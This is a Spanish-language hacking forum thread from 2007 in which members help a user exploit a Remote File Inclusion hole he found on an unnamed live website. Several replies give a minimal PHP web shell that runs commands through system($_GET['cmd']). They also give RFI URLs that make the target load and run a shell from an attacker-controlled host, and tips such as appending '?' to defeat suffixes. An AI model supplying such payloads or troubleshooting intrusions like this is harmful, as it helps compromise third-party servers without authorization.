duda con RFI.......

Iniciado por warlock394, 27 Octubre 2007, 02:42 AM

0 Miembros y 2 Visitantes están viendo este tema.

warlock394

Hola a todos los integrantes de este foro, quisiera hacerles una consulta para ver si me ayudan con mi duda... Hace unos dias encontre una web vulnerable al Remote FIle inclusion pero no he podido hacer uso de la shell c99 o ejecutar cualquier script simple que me de informacion..

De esta forma la uso :

http://vulnerable/principal/main.php?pag_dest=http://atacante/c99.txt

pero no se ejecuta, simplemente muestra el codigo fuente de la shell, he leido que para que se ejecute la shell se le cambia la extension a .txt o jpg o gif pero ninguno me resulta que podría ser??

HaDeS, -

Código (php) [Seleccionar]

highlight_file($_GET['pag_dest']);

ó
Código (php) [Seleccionar]

$pag = $_GET['pag_dest'];
$a = fopen($pag, "r");
echo fread($a,filesize($pag));
fclose($a);


Diferente a:
Código (php) [Seleccionar]

$pag = $_GET['pag_dest'];
include($pag);


Lo que quiere decir, que la aplicación web que encontraste no es vulnerable a inclusión remota.
saludos ;)

Deka_10

has provado de meter un signo de interrogacion al final?
etc../c99.txt?

asi.
Islam != Terrorism

HaDeS, -

Cita de: Deka_10 en  3 Noviembre 2007, 01:02 AM
has provado de meter un signo de interrogacion al final?
etc../c99.txt?

asi.
Explicame que hace exactamente el "?"
Saludos!, solo respondeme vos!

H3xCryp

aver, si te fijas en los codigos de las shells.
te pongo un ejemplo:

Código (php) [Seleccionar]
<?php
$cmd
=$_GET["cmd"];
system($cmd);
?>


la gente que no tiene ni la minima idea de php, usa las shells c99 y todas esas que te lo hacen casi todo automatico, pero no saben como funcionan.

$cmd es una variable global, con $_GET hacemos una peticion.
todo lo que pongamos despues del parametro cmd se ejecutara con system y nos mostrara el resultado del comando.

* ademas de ejecutar con system, se pueden ejecutar comandos con: passthru, system_exec, shell_exec, exec y con eval.

Ejemplo:
http://localhost/shell.php?cmd=ls%20-lia

Por eso cuando en un RFI:
http://vulnerable/principal/main.php?pag_dest=http://atacante/shell.txt?cmd=ls

saludos.

HaDeS, -

Cita de: H3xCryp en 30 Diciembre 2007, 16:13 PM
...
la gente que no tiene ni la minima idea de php, usa las shells c99 y todas esas que te lo hacen casi todo automatico, pero no saben como funcionan.

$cmd es una variable global, con $_GET hacemos una peticion.
todo lo que pongamos despues del parametro cmd se ejecutara con system y nos mostrara el resultado del comando.
...
Se ve que no tenes la mínima idea de php, con $_GET no se hace ninguna petición, con $_GET se retornan los valores de una variable identificada por nombre x en el GET de una petición.


GET /abc?a=123 HTTP/1.1
Host:...


Código (php) [Seleccionar]

$variable = $_GET['a'];
echo $variable


Respuesta: 123

Ademas él dice que se muestra el contenido del archivo, por lo que logicamente no se trata de una inclusión, sino de la lectura e impresión de datos como lo puse más arriba.

Si me respondias lo de "Explicame que hace exactamente el "?"
Saludos!, solo respondeme vos!"

Pues no respondiste lo que era.

Y de paso explico que es el ?
Lo que hay por delante del ? en las peticiones, es denominado porción de consulta, y es donde se encuentran las variables que se mandan al servidor. eso era todo, se utiliza el ? en las inclusiones, para que el sufijo que se le añade a la variable sea parte de la porción de consulta, y no sea incluido como un solo archivo.

Saludos

dark_hat

¿Si no has podido ejecutar scripts como sabes q es vulnerable a RFI? Prueba a ejecutar un script básico como:

<?
echo "texto";
?>


Y si te sale el código fuente en lugar de poner simplemente "texto" pues no será vulnerable. De todas formas aunque sea vulnerable puede no funcionar la shell, la función system puede estar desactivada. ¿Por qué no dices que página es?
Eso que huele es un poco de incienso,
eso marrón una tableta de turrón...

Azielito

sumando a lo que dice hades en el primer post tambien podria ser:

Código (php) [Seleccionar]
echo '<iframe src="'.$_GET['pag_dest'].'">';

y entonces "podrias" poner scripts, o sea, puede ser que sea vulnerable a XSS o CSRF

Pablo Videla

lo que hace el "?" es que se ejecute la shell o no? :-\

Azielito

da igual si lleva el "?" o no XD

lo que pasa es que primero debes asegurar que sea vulnerable